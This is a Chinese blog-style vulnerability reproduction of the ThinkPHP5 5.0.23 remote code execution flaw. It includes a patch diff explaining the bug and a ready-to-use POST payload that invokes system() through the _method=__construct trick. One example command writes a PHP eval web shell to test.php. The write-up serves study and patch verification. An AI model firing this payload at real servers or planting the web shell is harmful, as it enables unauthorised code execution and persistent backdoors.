当前位置:网站首页>漏洞复现----38、ThinkPHP5 5.0.23 远程代码执行漏洞
漏洞复现----38、ThinkPHP5 5.0.23 远程代码执行漏洞
2022-06-30 16:46:00 【七天啊】
一、漏洞简介
5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。Thinkphp源码下载
漏洞代码如下
:
@@ -522,8 +522,11 @@ public function method($method = false)
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{
$this->method}($_POST);
$method = strtoupper($_POST[Config::get('var_method')]);
if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{
$this->method}($_POST);
}
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
调用$this->{$this->method}($_POST);
语句。当我们可以控制$method
的值时,就可以调用Request
类的任意方法,而当调用构造方法__construct()
时,就可以覆盖Request类的任意成员变量,可以覆盖$this->method
,指定check()
方法中的$method
值。
二、漏洞复现
访问IP:8080抓包
更改请求为POST /index.php?s=captcha
消息正文为:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=command
commond=id
/ls
/whoami
/echo <?php eval($_POST['cmd']);?> > test.php
边栏推荐
猜你喜欢
Animesr: learnable degradation operator and new real world animation VSR dataset
TFTP download kernel, NFS mount file system
Optimize with netcorebeauty Net core independent deployment directory structure
Communication network electronic billing system based on SSH
ASP. Net generate verification code
Generate confrontation network, from dcgan to stylegan, pixel2pixel, face generation and image translation.
[zero basic IOT pwn] environment construction
What will be the game changes brought about by the meta universe?
IEEE TBD SCI impact factor increased to 4.271, ranking Q1!
基于SSH的通讯网络电子计费系统
随机推荐
. Net ORM framework hisql practice - Chapter 1 - integrating hisql
Conception d'un centre commercial en ligne basé sur SSH
Do fresh students get a job or choose a job after graduation?
Unity实战之一个脚本实现雷达图
MySQL advanced - Architecture
vue3 响应式数据库—— reactive
Exploration and practice of "flow batch integration" in JD
Ardunio esp32 obtains real-time temperature and humidity in mqtt protocol (DH11)
ABAP publish restful service
分布式机器学习:模型平均MA与弹性平均EASGD(PySpark)
VScode 状态条 StatusBar
如何写一个技术方案
uni-app进阶之内嵌应用【day14】
[Netease Yunxin] playback demo build: unable to convert parameter 1 from "asyncmodalrunner *" to "std:: nullptr\u T"**
ASP. Net password encryption and password login
2022上半年盘点:20+主流数据库重大更新及技术要点汇总
The gates of Europe
Nielseniq welcomes dawn E. Norvell, head of retail lab, to accelerate the expansion of global retail strategy
[sword finger offer] 53 - I. find the number I in the sorted array
构建基本buildroot文件系统